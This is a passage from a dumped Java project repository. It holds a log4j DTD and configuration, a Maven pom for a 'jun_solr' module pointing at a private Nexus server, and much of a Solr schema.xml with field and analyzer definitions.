-->\n<!-- touch the level of the named logger. -->\n<!ELEMENT logger (param*,level?,appender-ref*)>\n<!ATTLIST logger\n  class         CDATA   #IMPLIED\n  name\t\tCDATA\t#REQUIRED\n  additivity\t(true|false) \"true\"  \n>\n\n\n<!ELEMENT categoryFactory (param*)>\n<!ATTLIST categoryFactory \n   class        CDATA #REQUIRED>\n\n<!ELEMENT loggerFactory (param*)>\n<!ATTLIST loggerFactory\n   class        CDATA #REQUIRED>\n\n<!ELEMENT appender-ref EMPTY>\n<!ATTLIST appender-ref\n  ref CDATA #REQUIRED\n>\n\n<!-- plugins must have a name and class and can have optional parameters -->\n<!ELEMENT plugin (param*, connectionSource?)>\n<!ATTLIST plugin\n  name \t\tCDATA \t   #REQUIRED\n  class \tCDATA  #REQUIRED\n>\n\n<!ELEMENT connectionSource (dataSource?, param*)>\n<!ATTLIST connectionSource\n  class        CDATA  #REQUIRED\n>\n\n<!ELEMENT dataSource (param*)>\n<!ATTLIST dataSource\n  class        CDATA  #REQUIRED\n>\n\n<!ELEMENT triggeringPolicy ((param|filter)*)>\n<!ATTLIST triggeringPolicy\n  name \t\tCDATA  #IMPLIED\n  class \tCDATA  #REQUIRED\n>\n\n<!ELEMENT rollingPolicy (param*)>\n<!ATTLIST rollingPolicy\n  name \t\tCDATA  #IMPLIED\n  class \tCDATA  #REQUIRED\n>\n\n\n<!-- If no priority element is specified, then the configurator MUST not -->\n<!-- touch the priority of root. -->\n<!-- The root category always exists and cannot be subclassed. -->\n<!ELEMENT root (param*, (priority|level)?, appender-ref*)>\n\n\n<!-- ==================================================================== -->\n<!--                       A logging event                                -->\n<!-- ==================================================================== -->\n<!ELEMENT log4j:eventSet (log4j:event*)>\n<!ATTLIST log4j:eventSet\n  xmlns:log4j             CDATA #FIXED \"http://jakarta.apache.org/log4j/\" \n  version                (1.1|1.2) \"1.2\" \n  includesLocationInfo   (true|false) \"true\"\n>\n\n\n\n<!ELEMENT log4j:event (log4j:message, log4j:NDC?, log4j:throwable?, \n                       log4j:locationInfo?, log4j:properties?) >\n\n<!-- The timestamp format is application dependent. -->\n<!ATTLIST log4j:event\n    logger     CDATA #REQUIRED\n    level      CDATA #REQUIRED\n    thread     CDATA #REQUIRED\n    timestamp  CDATA #REQUIRED\n    time       CDATA #IMPLIED\n>\n\n<!ELEMENT log4j:message (#PCDATA)>\n<!ELEMENT log4j:NDC (#PCDATA)>\n\n<!ELEMENT log4j:throwable (#PCDATA)>\n\n<!ELEMENT log4j:locationInfo EMPTY>\n<!ATTLIST log4j:locationInfo\n  class  CDATA\t#REQUIRED\n  method CDATA\t#REQUIRED\n  file   CDATA\t#REQUIRED\n  line   CDATA\t#REQUIRED\n>\n\n<!ELEMENT log4j:properties (log4j:data*)>\n\n<!ELEMENT log4j:data EMPTY>\n<!ATTLIST log4j:data\n  name   CDATA\t#REQUIRED\n  value  CDATA\t#REQUIRED\n>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/jun_solr_index/src/main/resources/log4j.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!DOCTYPE log4j:configuration SYSTEM \"log4j.dtd\">\n<log4j:configuration xmlns:log4j=\"http://jakarta.apache.org/log4j/\">\n\t<appender name=\"console\" class=\"org.apache.log4j.ConsoleAppender\">\n\t\t<layout class=\"org.apache.log4j.PatternLayout\">\n\t\t\t<param name=\"ConversionPattern\" value=\"%d %-5p [%t] [%c] - %m%n\" />\n\t\t</layout>\n\t</appender>\n\t<appender name=\"dailyRolling\" class=\"org.apache.log4j.DailyRollingFileAppender\">\n\t\t<param name=\"File\" value=\"/data/applogs/search-index/search.log\" />\n\t\t<layout class=\"org.apache.log4j.PatternLayout\">\n\t\t\t<param name=\"ConversionPattern\" value=\"%-d{yyyy-MM-dd HH\\:mm\\:ss} %-5p \n\t\t[%t] [%c] - %m%n\" />\n\t\t</layout>\n\t</appender>\n\t<!-- 打印sql语句 -->\n\t<category name=\"java.sql\">\n\t\t<priority value=\"debug\" />\n\t</category>\n\t<category name=\"com.ibatis\">\n\t\t<priority value=\"error\" />\n\t</category>\n\t<logger name=\"org\">\n\t\t<level value=\"ERROR\" />\n\t</logger>\n\t<logger name=\"net\">\n\t\t<level value=\"ERROR\" />\n\t</logger>\n\t<category name=\"com.cl\" additivity=\"false\">\n\t\t<priority value=\"INFO\" />\n\t\t<appender-ref ref=\"dailyRolling\" />\n\t</category>\n\t<root>\n\t\t<level value=\"ERROR\" />\n\t\t<appender-ref ref=\"console\" />\n\t\t<appender-ref ref=\"dailyRolling\" />\n\t</root>\n</log4j:configuration>\n"
  },
  {
    "path": "jun_java_plugins/jun_solr/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_solr</artifactId>\n\t<version>1.0</version>\n\t\n\t<packaging>pom</packaging>\n\t<name>jun_solr</name>\n\t<url>http://maven.apache.org</url>\n\t\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.11</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency> \t\t\n\t</dependencies>\n\n\t<distributionManagement>\n\t\t<repository>\n\t\t    <id>releases</id>\n\t\t    <name>Cl Releases</name>\n\t\t    <url>http://192.168.1.11:8081/nexus/content/repositories/releases</url>\n\t\t</repository>\n\t\t<snapshotRepository>\n\t\t    <id>snapshots</id>\n\t\t    <name>Cl Snapshots</name>\n\t\t    <url>http://192.168.1.11:8081/nexus/content/repositories/snapshots</url>\n\t\t</snapshotRepository>\n\t</distributionManagement>\n\n\t<modules>\n\t\t<module>jun_solr_api</module>\n\t\t<module>jun_solr_api_server</module>\n\t\t<module>jun_solr_index</module>\n\t</modules>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_solr/schema.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<!--\n Licensed to the Apache Software Foundation (ASF) under one or more\n contributor license agreements.  See the NOTICE file distributed with\n this work for additional information regarding copyright ownership.\n The ASF licenses this file to You under the Apache License, Version 2.0\n (the \"License\"); you may not use this file except in compliance with\n the License.  You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n-->\n\n<!--  \n This is the Solr schema file. This file should be named \"schema.xml\" and\n should be in the conf directory under the solr home\n (i.e. ./solr/conf/schema.xml by default) \n or located where the classloader for the Solr webapp can find it.\n\n This example schema is the recommended starting point for users.\n It should be kept correct and concise, usable out-of-the-box.\n\n For more information, on how to customize this file, please see\n http://wiki.apache.org/solr/SchemaXml\n\n PERFORMANCE NOTE: this schema includes many optional features and should not\n be used for benchmarking.  To improve performance one could\n  - set stored=\"false\" for all fields possible (esp large fields) when you\n    only need to search on the field but don't need to return the original\n    value.\n  - set indexed=\"false\" if you don't need to search on the field, but only\n    return the field as a result of searching on other indexed fields.\n  - remove all unneeded copyField statements\n  - for best index size and searching performance, set \"index\" to false\n    for all general text fields, use copyField to copy them to the\n    catchall \"text\" field, and use that for searching.\n  - For maximum indexing performance, use the ConcurrentUpdateSolrServer\n    java client.\n  - Remember to run the JVM in server mode, and use a higher logging level\n    that avoids logging every request\n-->\n\n<schema name=\"example\" version=\"1.5\">\n  <!-- attribute \"name\" is the name of this schema and is only used for display purposes.\n       version=\"x.y\" is Solr's version number for the schema syntax and \n       semantics.  It should not normally be changed by applications.\n\n       1.0: multiValued attribute did not exist, all fields are multiValued \n            by nature\n       1.1: multiValued attribute introduced, false by default \n       1.2: omitTermFreqAndPositions attribute introduced, true by default \n            except for text fields.\n       1.3: removed optional field compress feature\n       1.4: autoGeneratePhraseQueries attribute introduced to drive QueryParser\n            behavior when a single string produces multiple tokens.  Defaults \n            to off for version >= 1.4\n       1.5: omitNorms defaults to true for primitive field types \n            (int, float, boolean, string...)\n     -->\n\n\n   <!-- Valid attributes for fields:\n     name: mandatory - the name for the field\n     type: mandatory - the name of a field type from the \n       <types> fieldType section\n     indexed: true if this field should be indexed (searchable or sortable)\n     stored: true if this field should be retrievable\n     docValues: true if this field should have doc values. Doc values are\n       useful for faceting, grouping, sorting and function queries. Although not\n       required, doc values will make the index faster to load, more\n       NRT-friendly and more memory-efficient. They however come with some\n       limitations: they are currently only supported by StrField, UUIDField\n       and all Trie*Fields, and depending on the field type, they might\n       require the field to be single-valued, be required or have a default\n       value (check the documentation of the field type you're interested in\n       for more information)\n     multiValued: true if this field may contain multiple values per document\n     omitNorms: (expert) set to true to omit the norms associated with\n       this field (this disables length normalization and index-time\n       boosting for the field, and saves some memory).  Only full-text\n       fields or fields that need an index-time boost need norms.\n       Norms are omitted for primitive (non-analyzed) types by default.\n     termVectors: [false] set to true to store the term vector for a\n       given field.\n       When using MoreLikeThis, fields used for similarity should be\n       stored for best performance.\n     termPositions: Store position information with the term vector.  \n       This will increase storage costs.\n     termOffsets: Store offset information with the term vector. This \n       will increase storage costs.\n     required: The field is required.  It will throw an error if the\n       value does not exist\n     default: a value that should be used if no value is specified\n       when adding a document.\n   -->\n\n   <!-- field names should consist of alphanumeric or underscore characters only and\n      not start with a digit.  This is not currently strictly enforced,\n      but other field names will not have first class support from all components\n      and back compatibility is not guaranteed.  Names with both leading and\n      trailing underscores (e.g. _version_) are reserved.\n   -->\n\n   <!-- If you remove this field, you must _also_ disable the update log in solrconfig.xml\n      or Solr won't start. _version_ and update log are required for SolrCloud\n   --> \n   <field name=\"_version_\" type=\"long\" indexed=\"true\" stored=\"true\"/>\n   \n   <!-- points to the root document of a block of nested documents. Required for nested\n      document support, may be removed otherwise\n   -->\n   <field name=\"_root_\" type=\"string\" indexed=\"true\" stored=\"false\"/>\n\n   <!-- Only remove the \"id\" field if you have a very good reason to. While not strictly\n     required, it is highly recommended. A <uniqueKey> is present in almost all Solr \n     installations. See the <uniqueKey> declaration below where <uniqueKey> is set to \"id\".\n   -->   \n   <field name=\"no\" type=\"string\" indexed=\"true\" stored=\"true\" required=\"true\" multiValued=\"false\" /> \n   <field name=\"name\" type=\"text_ik\" indexed=\"true\" stored=\"true\" required=\"true\"/>\n   <field name=\"style_no\" type=\"string\" indexed=\"true\" stored=\"true\" required=\"true\"/>\n   <field name=\"sale_price\" type=\"int\" indexed=\"true\" stored=\"true\" required=\"true\"/>\n \n   <!-- catchall field, containing all other searchable text fields (implemented\n        via copyField further on in this schema  -->\n   <field name=\"text\" type=\"text_general\" indexed=\"true\" stored=\"false\" multiValued=\"true\"/>\n\n   <!-- catchall text field that indexes tokens both normally and in reverse for efficient\n        leading wildcard queries. -->\n   <field name=\"text_rev\" type=\"text_general_rev\" indexed=\"true\" stored=\"false\" multiValued=\"true\"/>\n\n   <!-- non-tokenized version of manufacturer to make it easier to sort or group\n        results by manufacturer.  copied from \"manu\" via copyField -->\n   <field name=\"manu_exact\" type=\"string\" indexed=\"true\" stored=\"false\"/>\n\n   <field name=\"payloads\" type=\"payloads\" indexed=\"true\" stored=\"true\"/>\n\n\n   <!--\n     Some fields such as popularity and manu_exact could be modified to\n     leverage doc values:\n     <field name=\"popularity\" type=\"int\" indexed=\"true\" stored=\"true\" docValues=\"true\" />\n     <field name=\"manu_exact\" type=\"string\" indexed=\"false\" stored=\"false\" docValues=\"true\" />\n     <field name=\"cat\" type=\"string\" indexed=\"true\" stored=\"true\" docValues=\"true\" multiValued=\"true\"/>\n\n\n     Although it would make indexing slightly slower and the index bigger, it\n     would also make the index faster to load, more memory-efficient and more\n     NRT-friendly.\n     -->\n\n   <!-- Dynamic field definitions allow using convention over configuration\n       for fields via the specification of patterns to match field names. \n       EXAMPLE:  name=\"*_i\" will match any field ending in _i (like myid_i, z_i)\n       RESTRICTION: the glob-like pattern in the name attribute must have\n       a \"*\" only at the start or the end.  -->\n   \n\n   <!-- uncomment the following to ignore any fields that don't already match an existing \n        field name or dynamic field, rather than reporting them as an error. \n        alternately, change the type=\"ignored\" to some other type e.g. \"text\" if you want \n        unknown fields indexed and/or stored by default --> \n   <!--dynamicField name=\"*\" type=\"ignored\" multiValued=\"true\" /-->\n   \n\n\n\n <!-- Field to use to determine and enforce document uniqueness. \n      Unless this field is marked with required=\"false\", it will be a required field\n   -->\n <uniqueKey>no</uniqueKey>\n\n <!-- DEPRECATED: The defaultSearchField is consulted by various query parsers when\n  parsing a query string that isn't explicit about the field.  Machine (non-user)\n  generated queries are best made explicit, or they can use the \"df\" request parameter\n  which takes precedence over this.\n  Note: Un-commenting defaultSearchField will be insufficient if your request handler\n  in solrconfig.xml defines \"df\", which takes precedence. That would need to be removed. -->\n <defaultSearchField>text</defaultSearchField>\n\n <!-- DEPRECATED: The defaultOperator (AND|OR) is consulted by various query parsers\n  when parsing a query string to determine if a clause of the query should be marked as\n  required or optional, assuming the clause isn't already marked by some operator.\n  The default is OR, which is generally assumed so it is not a good idea to change it\n  globally here.  The \"q.op\" request parameter takes precedence over this.\n <solrQueryParser defaultOperator=\"OR\"/> -->\n\n  <!-- copyField commands copy one field to another at the time a document\n        is added to the index.  It's used either to index the same field differently,\n        or to add multiple fields to the same field for easier/faster searching.  -->\n\n   <copyField source=\"name\" dest=\"text\"/>\n\n\t\n   <!-- Above, multiple source fields are copied to the [text] field. \n\t  Another way to map multiple source fields to the same \n\t  destination field is to use the dynamic field syntax. \n\t  copyField also supports a maxChars to copy setting.  -->\n\t   \n   <!-- <copyField source=\"*_t\" dest=\"text\" maxChars=\"3000\"/> -->\n\n   <!-- copy name to alphaNameSort, a field designed for sorting by name -->\n   <!-- <copyField source=\"name\" dest=\"alphaNameSort\"/> -->\n \n  \n    <!-- field type definitions. The \"name\" attribute is\n       just a label to be used by field definitions.  The \"class\"\n       attribute and any other attributes determine the real\n       behavior of the fieldType.\n         Class names starting with \"solr\" refer to java classes in a\n       standard package such as org.apache.solr.analysis\n    -->\n\n    <!-- The StrField type is not analyzed, but indexed/stored verbatim.\n       It supports doc values but in that case the field needs to be\n       single-valued and either required or have a default value.\n      -->\n    <fieldType name=\"string\" class=\"solr.StrField\" sortMissingLast=\"true\" />\n\n    <!-- boolean type: \"true\" or \"false\" -->\n    <fieldType name=\"boolean\" class=\"solr.BoolField\" sortMissingLast=\"true\"/>\n\n    <!-- sortMissingLast and sortMissingFirst attributes are optional attributes are\n         currently supported on types that are sorted internally as strings\n         and on numeric types.\n\t     This includes \"string\",\"boolean\", and, as of 3.5 (and 4.x),\n\t     int, float, long, date, double, including the \"Trie\" variants.\n       - If sortMissingLast=\"true\", then a sort on this field will cause documents\n         without the field to come after documents with the field,\n         regardless of the requested sort order (asc or desc).\n       - If sortMissingFirst=\"true\", then a sort on this field will cause documents\n         without the field to come before documents with the field,\n         regardless of the requested sort order.\n       - If sortMissingLast=\"false\" and sortMissingFirst=\"false\" (the default),\n         then default lucene sorting will be used which places docs without the\n         field first in an ascending sort and last in a descending sort.\n    -->    \n\n    <!--\n      Default numeric field types. For faster range queries, consider the tint/tfloat/tlong/tdouble types.\n\n      These fields support doc values, but they require the field to be\n      single-valued and either be required or have a default value.\n    -->\n    <fieldType name=\"int\" class=\"solr.TrieIntField\" precisionStep=\"0\" positionIncrementGap=\"0\"/>\n    <fieldType name=\"float\" class=\"solr.TrieFloatField\" precisionStep=\"0\" positionIncrementGap=\"0\"/>\n    <fieldType name=\"long\" class=\"solr.TrieLongField\" precisionStep=\"0\" positionIncrementGap=\"0\"/>\n    <fieldType name=\"double\" class=\"solr.TrieDoubleField\" precisionStep=\"0\" positionIncrementGap=\"0\"/>\n\n    <!--\n     Numeric field types that index each value at various levels of precision\n     to accelerate range queries when the number of values between the range\n     endpoints is large. See the javadoc for NumericRangeQuery for internal\n     implementation details.\n\n     Smaller precisionStep values (specified in bits) will lead to more tokens\n     indexed per value, slightly larger index size, and faster range queries.\n     A precisionStep of 0 disables indexing at different precision levels.\n    -->\n    <fieldType name=\"tint\" class=\"solr.TrieIntField\" precisionStep=\"8\" positionIncrementGap=\"0\"/>\n    <fieldType name=\"tfloat\" class=\"solr.TrieFloatField\" precisionStep=\"8\" positionIncrementGap=\"0\"/>\n    <fieldType name=\"tlong\" class=\"solr.TrieLongField\" precisionStep=\"8\" positionIncrementGap=\"0\"/>\n    <fieldType name=\"tdouble\" class=\"solr.TrieDoubleField\" precisionStep=\"8\" positionIncrementGap=\"0\"/>\n\n    <!-- The format for this date field is of the form 1995-12-31T23:59:59Z, and\n         is a more restricted form of the canonical representation of dateTime\n         http://www.w3.org/TR/xmlschema-2/#dateTime    \n         The trailing \"Z\" designates UTC time and is mandatory.\n         Optional fractional seconds are allowed: 1995-12-31T23:59:59.999Z\n         All other components are mandatory.\n\n         Expressions can also be used to denote calculations that should be\n         performed relative to \"NOW\" to determine the value, ie...\n\n               NOW/HOUR\n                  ... Round to the start of the current hour\n               NOW-1DAY\n                  ... Exactly 1 day prior to now\n               NOW/DAY+6MONTHS+3DAYS\n                  ... 6 months and 3 days in the future from the start of\n                      the current day\n                      \n         Consult the DateField javadocs for more information.\n\n         Note: For faster range queries, consider the tdate type\n      -->\n    <fieldType name=\"date\" class=\"solr.TrieDateField\" precisionStep=\"0\" positionIncrementGap=\"0\"/>\n\n    <!-- A Trie based date field for faster date range queries and date faceting. -->\n    <fieldType name=\"tdate\" class=\"solr.TrieDateField\" precisionStep=\"6\" positionIncrementGap=\"0\"/>\n\n\n    <!--Binary data type. The data should be sent/retrieved in as Base64 encoded Strings -->\n    <fieldtype name=\"binary\" class=\"solr.BinaryField\"/>\n\n    <!--\n      Note:\n      These should only be used for compatibility with existing indexes (created with lucene or older Solr versions).\n      Use Trie based fields instead. As of Solr 3.5 and 4.x, Trie based fields support sortMissingFirst/Last\n\n      Plain numeric field types that store and index the text\n      value verbatim (and hence don't correctly support range queries, since the\n      lexicographic ordering isn't equal to the numeric ordering)\n\n      NOTE: These field types are deprecated will be completely removed in Solr 5.0!\n    -->\n    <!--\n    <fieldType name=\"pint\" class=\"solr.IntField\"/>\n    <fieldType name=\"plong\" class=\"solr.LongField\"/>\n    <fieldType name=\"pfloat\" class=\"solr.FloatField\"/>\n    <fieldType name=\"pdouble\" class=\"solr.DoubleField\"/>\n    <fieldType name=\"pdate\" class=\"solr.DateField\" sortMissingLast=\"true\"/>\n    -->\n\n    <!-- The \"RandomSortField\" is not used to store or search any\n         data.  You can declare fields of this type it in your schema\n         to generate pseudo-random orderings of your docs for sorting \n         or function purposes.  The ordering is generated based on the field\n         name and the version of the index. As long as the index version\n         remains unchanged, and the same field name is reused,\n         the ordering of the docs will be consistent.  \n         If you want different psuedo-random orderings of documents,\n         for the same version of the index, use a dynamicField and\n         change the field name in the request.\n     -->\n    <fieldType name=\"random\" class=\"solr.RandomSortField\" indexed=\"true\" />\n\n    <!-- solr.TextField allows the specification of custom text analyzers\n         specified as a tokenizer and a list of token filters. Different\n         analyzers may be specified for indexing and querying.\n\n         The optional positionIncrementGap puts space between multiple fields of\n         this type on the same document, with the purpose of preventing false phrase\n         matching across fields.\n\n         For more info on customizing your analyzer chain, please see\n         http://wiki.apache.org/solr/AnalyzersTokenizersTokenFilters\n     -->\n\n    <!-- One can also specify an existing Analyzer class that has a\n         default constructor via the class attribute on the analyzer element.\n         Example:\n    <fieldType name=\"text_greek\" class=\"solr.TextField\">\n      <analyzer class=\"org.apache.lucene.analysis.el.GreekAnalyzer\"/>\n    </fieldType>\n    -->\n\n    <!-- A text field that only splits on whitespace for exact matching of words -->\n    <fieldType name=\"text_ws\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer>\n        <tokenizer class=\"solr.WhitespaceTokenizerFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <!-- A text type for English text where stopwords and synonyms are managed using the REST API -->\n    <fieldType name=\"managed_en\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer>\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.ManagedStopFilterFactory\" managed=\"english\" />\n        <filter class=\"solr.ManagedSynonymFilterFactory\" managed=\"english\" />\n      </analyzer>\n    </fieldType>\n\n    <!-- A general text field that has reasonable, generic\n         cross-language defaults: it tokenizes with StandardTokenizer,\n\t removes stop words from case-insensitive \"stopwords.txt\"\n\t (empty by default), and down cases.  At query time only, it\n\t also applies synonyms. -->\n    <fieldType name=\"text_general\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer type=\"index\">\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"stopwords.txt\" />\n        <!-- in this example, we will only use synonyms at query time\n        <filter class=\"solr.SynonymFilterFactory\" synonyms=\"index_synonyms.txt\" ignoreCase=\"true\" expand=\"false\"/>\n        -->\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n      </analyzer>\n      <analyzer type=\"query\">\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"stopwords.txt\" />\n        <filter class=\"solr.SynonymFilterFactory\" synonyms=\"synonyms.txt\" ignoreCase=\"true\" expand=\"true\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <fieldType name=\"text_ik\" class=\"solr.TextField\">\n        <analyzer type=\"index\" isMaxWordLength=\"false\" class=\"org.wltea.analyzer.lucene.IKAnalyzer\"/>\n        <analyzer type=\"query\" isMaxWordLength=\"true\" class=\"org.wltea.analyzer.lucene.IKAnalyzer\"/>\n    </fieldType>\n\n    <!-- A text field with defaults appropriate for English: it\n         tokenizes with StandardTokenizer, removes English stop words\n         (lang/stopwords_en.txt), down cases, protects words from protwords.txt, and\n         finally applies Porter's stemming.  The query time analyzer\n         also applies synonyms from synonyms.txt. -->\n    <fieldType name=\"text_en\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer type=\"index\">\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <!-- in this example, we will only use synonyms at query time\n        <filter class=\"solr.SynonymFilterFactory\" synonyms=\"index_synonyms.txt\" ignoreCase=\"true\" expand=\"false\"/>\n        -->\n        <!-- Case insensitive stop word removal.\n        -->\n        <filter class=\"solr.StopFilterFactory\"\n                ignoreCase=\"true\"\n                words=\"lang/stopwords_en.txt\"\n                />\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n\t<filter class=\"solr.EnglishPossessiveFilterFactory\"/>\n        <filter class=\"solr.KeywordMarkerFilterFactory\" protected=\"protwords.txt\"/>\n\t<!-- Optionally you may want to use this less aggressive stemmer instead of PorterStemFilterFactory:\n        <filter class=\"solr.EnglishMinimalStemFilterFactory\"/>\n\t-->\n        <filter class=\"solr.PorterStemFilterFactory\"/>\n      </analyzer>\n      <analyzer type=\"query\">\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.SynonymFilterFactory\" synonyms=\"synonyms.txt\" ignoreCase=\"true\" expand=\"true\"/>\n        <filter class=\"solr.StopFilterFactory\"\n                ignoreCase=\"true\"\n                words=\"lang/stopwords_en.txt\"\n                />\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n\t<filter class=\"solr.EnglishPossessiveFilterFactory\"/>\n        <filter class=\"solr.KeywordMarkerFilterFactory\" protected=\"protwords.txt\"/>\n\t<!-- Optionally you may want to use this less aggressive stemmer instead of PorterStemFilterFactory:\n        <filter class=\"solr.EnglishMinimalStemFilterFactory\"/>\n\t-->\n        <filter class=\"solr.PorterStemFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <!-- A text field with defaults appropriate for English, plus\n\t aggressive word-splitting and autophrase features enabled.\n\t This field is just like text_en, except it adds\n\t WordDelimiterFilter to enable splitting and matching of\n\t words on case-change, alpha numeric boundaries, and\n\t non-alphanumeric chars.  This means certain compound word\n\t cases will work, for example query \"wi fi\" will match\n\t document \"WiFi\" or \"wi-fi\".\n        -->\n    <fieldType name=\"text_en_splitting\" class=\"solr.TextField\" positionIncrementGap=\"100\" autoGeneratePhraseQueries=\"true\">\n      <analyzer type=\"index\">\n        <tokenizer class=\"solr.WhitespaceTokenizerFactory\"/>\n        <!-- in this example, we will only use synonyms at query time\n        <filter class=\"solr.SynonymFilterFactory\" synonyms=\"index_synonyms.txt\" ignoreCase=\"true\" expand=\"false\"/>\n        -->\n        <!-- Case insensitive stop word removal.\n        -->\n        <filter class=\"solr.StopFilterFactory\"\n                ignoreCase=\"true\"\n                words=\"lang/stopwords_en.txt\"\n                />\n        <filter class=\"solr.WordDelimiterFilterFactory\" generateWordParts=\"1\" generateNumberParts=\"1\" catenateWords=\"1\" catenateNumbers=\"1\" catenateAll=\"0\" splitOnCaseChange=\"1\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.KeywordMarkerFilterFactory\" protected=\"protwords.txt\"/>\n        <filter class=\"solr.PorterStemFilterFactory\"/>\n      </analyzer>\n      <analyzer type=\"query\">\n        <tokenizer class=\"solr.WhitespaceTokenizerFactory\"/>\n        <filter class=\"solr.SynonymFilterFactory\" synonyms=\"synonyms.txt\" ignoreCase=\"true\" expand=\"true\"/>\n        <filter class=\"solr.StopFilterFactory\"\n                ignoreCase=\"true\"\n                words=\"lang/stopwords_en.txt\"\n                />\n        <filter class=\"solr.WordDelimiterFilterFactory\" generateWordParts=\"1\" generateNumberParts=\"1\" catenateWords=\"0\" catenateNumbers=\"0\" catenateAll=\"0\" splitOnCaseChange=\"1\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.KeywordMarkerFilterFactory\" protected=\"protwords.txt\"/>\n        <filter class=\"solr.PorterStemFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <!-- Less flexible matching, but less false matches.  Probably not ideal for product names,\n         but may be good for SKUs.  Can insert dashes in the wrong place and still match. -->\n    <fieldType name=\"text_en_splitting_tight\" class=\"solr.TextField\" positionIncrementGap=\"100\" autoGeneratePhraseQueries=\"true\">\n      <analyzer>\n        <tokenizer class=\"solr.WhitespaceTokenizerFactory\"/>\n        <filter class=\"solr.SynonymFilterFactory\" synonyms=\"synonyms.txt\" ignoreCase=\"true\" expand=\"false\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"lang/stopwords_en.txt\"/>\n        <filter class=\"solr.WordDelimiterFilterFactory\" generateWordParts=\"0\" generateNumberParts=\"0\" catenateWords=\"1\" catenateNumbers=\"1\" catenateAll=\"0\"/>\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.KeywordMarkerFilterFactory\" protected=\"protwords.txt\"/>\n        <filter class=\"solr.EnglishMinimalStemFilterFactory\"/>\n        <!-- this filter can remove any duplicate tokens that appear at the same position - sometimes\n             possible with WordDelimiterFilter in conjuncton with stemming. -->\n        <filter class=\"solr.RemoveDuplicatesTokenFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <!-- Just like text_general except it reverses the characters of\n\t each token, to enable more efficient leading wildcard queries. -->\n    <fieldType name=\"text_general_rev\" class=\"solr.TextField\" positionIncrementGap=\"100\">\n      <analyzer type=\"index\">\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"stopwords.txt\" />\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n        <filter class=\"solr.ReversedWildcardFilterFactory\" withOriginal=\"true\"\n           maxPosAsterisk=\"3\" maxPosQuestion=\"2\" maxFractionAsterisk=\"0.33\"/>\n      </analyzer>\n      <analyzer type=\"query\">\n        <tokenizer class=\"solr.StandardTokenizerFactory\"/>\n        <filter class=\"solr.SynonymFilterFactory\" synonyms=\"synonyms.txt\" ignoreCase=\"true\" expand=\"true\"/>\n        <filter class=\"solr.StopFilterFactory\" ignoreCase=\"true\" words=\"stopwords.txt\" />\n        <filter class=\"solr.LowerCaseFilterFactory\"/>\n      </analyzer>\n    </fieldType>\n\n    <!-- charFilter + WhitespaceTokenizer  -->\n    <!--\n    <fieldType name=\"text_char_norm\" class=\"solr.TextField\" positionIncrementGap=\"100\" >\n      <analyzer>\n        <charFilter class=\"solr.MappingCharFilterFactory\" mapping=\"mapping-ISOLatin1Accent.txt\"/>\n        <tokenizer class=\"solr.WhitespaceTokenizerFactory\"/>\n      </analyzer>\n    </fieldType>\n    -->\n\n    <!-- This is an example of using the KeywordTokenizer along\n         With various TokenFilterFactories to produce a sortable field\n         that does not include some properties of the source text\n      -->\n    <fieldType name=\"alphaOnlySort\" class=\"solr.TextField\" sortMissingLast=\"true\" omitNorms=\"true\">\n      <analyzer>\n        <!-- KeywordTokenizer does no actual tokenizing, so the entire\n             input string is preserved as a single token\n          -->\n        <tokenizer class=\"solr.KeywordTokenizerFactory\"/>\n        <!-- The LowerCase TokenFilter does what you expect, which can be\n             when you want your sorting to be case insensitive\n          -->\n        <filter class=\"solr.LowerCaseFilterFactory\" />\n        <!-- The TrimFilter removes any leading or trailing whitespace -->\n        <filter class=\"solr.TrimFilterFactory\" />\n        <!-- The PatternReplaceFilter gives you the flexibility to use\n             Java Regular expression to replace any sequence of characters\n             matching a pattern with an arbitrary replacement string, \n             which may include back references to portions of the 